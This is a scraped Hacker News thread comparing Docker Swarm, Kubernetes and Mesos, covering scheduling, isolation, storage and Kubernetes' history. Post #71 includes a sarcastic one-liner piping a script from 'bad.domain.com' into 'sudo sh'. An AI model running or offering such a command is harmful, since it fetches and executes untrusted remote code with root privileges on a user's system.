Live data from Hacker News

Docker vs. Kubernetes vs. Mesos

mesosphere.com

71–79 of 79 posts

Re: Docker vs. Kubernetes vs. Mesos

#71

Earlier quoted context omitted.

curl http://bad.domain.com | sudo sh naturally To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as a Mesos framework which worked pretty well.

And in kubernetes land, you can run an ubuntu container and do that just as well. Except, you'll lose out on having all the shared resources and state of your host machine. If that sounds scary to you, you should take a minute to think about it the other way - Under the mesos realm, every process can modify the state shared by every other process . If that hasn't convinced you off mesos, than I wish you all the luck…

3/10 patronizing and FUD. Mesos is happy to limit resources with cgroups etc. When you say

  every process can modify the state shared by every other process
in italics (the scariest type variant), do you mean ‘the filesystem’? Mesos has a swathe of isolators to choose from to enforce separation. Mesos is also happy to let tasks run as a specific user, so the good old Unix process model will stop random tasks from stomping each other.

Did you see the other comments drawing attention to the inequality of the Mesos/Kubernetes comparison & suggesting Marathon as the more appropriate peer technology?

Re: Docker vs. Kubernetes vs. Mesos

#72
post #69

Earlier quoted context omitted.

> initially Kubernetes was supposed to be just a Mesos framework... This is not correct. There is a community-owned project that allows Kubernetes to run on Mesos, but it came after standalone Kubernetes. Disclosure: I work on Kubernetes at Google.

Then perhaps you could ask John Wilkes ;) later edit: I'm referring to the fact that when Kubernetes came out it didn't have resource allocation and the answer to "how it compares to Mesos" was that it would run on top of Mesos as a framework. John Wilkes gave a talk about Kubernetes at MesosCon in 2014 https://www.youtube.com/watch?v=VQAAkO5B5Hg and also answered the above question quite a bit while there...

Kubernetes was not designed with the intention that it would be a Mesos framework. But I think it's very cool that people figured out how to make it work as one!

From pre-1.0, Kubernetes did resource allocation for CPU and memory via its cluster-level scheduler, enforced on the node using the standard container isolation mechanisms provided by Docker.

Disclosure: I work on Kubernetes at Google.

Re: Docker vs. Kubernetes vs. Mesos

#73
Kubernetes running on DCOS is mentioned, but not treated as a real alternative. Kubernetes can run as an app on top of Mesos the same way marathon can. Note: I am a heavy user of Kubernetes, but not Mesos, so I can't comment how well it works.

Kubernetes uses "two phase scheduling" and Mesos can be plugged as a second phase (e.g. https://github.com/kubernetes-incubator/kube-mesos-framework... seems decent). For me it seems like a perfect combination - on the cloud you utilize cool stuff like GKE or https://azure.microsoft.com/en-us/blog/announcing-azure-cont... for phase 2 of schedule, but if your client wants to run your code to run on their servers you can run it on their mesos/dcos deployment.

Re: Docker vs. Kubernetes vs. Mesos

#76
post #15

I recently evaluated all 3 solutions. Here is how I see it after testing the waters: - want something simple that works today? Docker Swarm - want something amazingly flexible? Kubernetes - already use Mesos or DC/OS? Marathon/Mesos This article from Mesosphere is interesting and gives a good overview, but it downplays advantages of Swarm and Kubernetes and clearly highlights Mesos: Docker has 4 bullet points, Kubern…

Uh. I'm skeptic about Swarm being something that "works today". I really want to use it and spent some time experimenting, but failed to get it working. It could work for a toy webapp project, but I believe is insufficient for anything complicated. There are a lot of things that one would expect to have but that are yet unsolved. Or I'm just unaware that there is a solution (or the solution didn't fit my personal req…

Regarding persistent storage following containers, check out REX-Ray: https://rexray.readthedocs.io/en/stable/ as it works with various storage options.

Re: Docker vs. Kubernetes vs. Mesos

#77
post #15

I recently evaluated all 3 solutions. Here is how I see it after testing the waters: - want something simple that works today? Docker Swarm - want something amazingly flexible? Kubernetes - already use Mesos or DC/OS? Marathon/Mesos This article from Mesosphere is interesting and gives a good overview, but it downplays advantages of Swarm and Kubernetes and clearly highlights Mesos: Docker has 4 bullet points, Kubern…

Uh. I'm skeptic about Swarm being something that "works today". I really want to use it and spent some time experimenting, but failed to get it working. It could work for a toy webapp project, but I believe is insufficient for anything complicated. There are a lot of things that one would expect to have but that are yet unsolved. Or I'm just unaware that there is a solution (or the solution didn't fit my personal req…

1. You can use host-mode port binding (equivalent of `docker run -p` as opposed to the routing mesh), you could also use macvlan/ipvlan to do this.

2. Indeed this is tricky right now. One way to sort-of fake it is you can do something like `--mount type=volume,source='important_data{{.Task.Slot}}'`... I'm not sure I would call this a recommendation, but worth playing with. But also I'm not sure if automatic failover of databases is truly a thing, it's just not that easy (outside of the storage aspect).

Re: Docker vs. Kubernetes vs. Mesos

#78
post #42

Earlier quoted context omitted.

Is that relevant?

Also many parts of Mesos ecosystem are Java. So a JVM is required to run those. It is relevant from deployment perspective.

Apart from Zookeeper, I can't remember any other Java software on Mesos ecosystem.

Re: Docker vs. Kubernetes vs. Mesos

#79

K8 already won the orchestration battle.

K8 already won the orchestration battle.

There is a battle? There is only room for a "single" orchestration platform? What about users with needs that differ from the mainstream?

I find that such a limiting worldview on deploying infrastructure. If I wanted "one size fits all" I would stay within the Microsoft environment.

Post reply on HN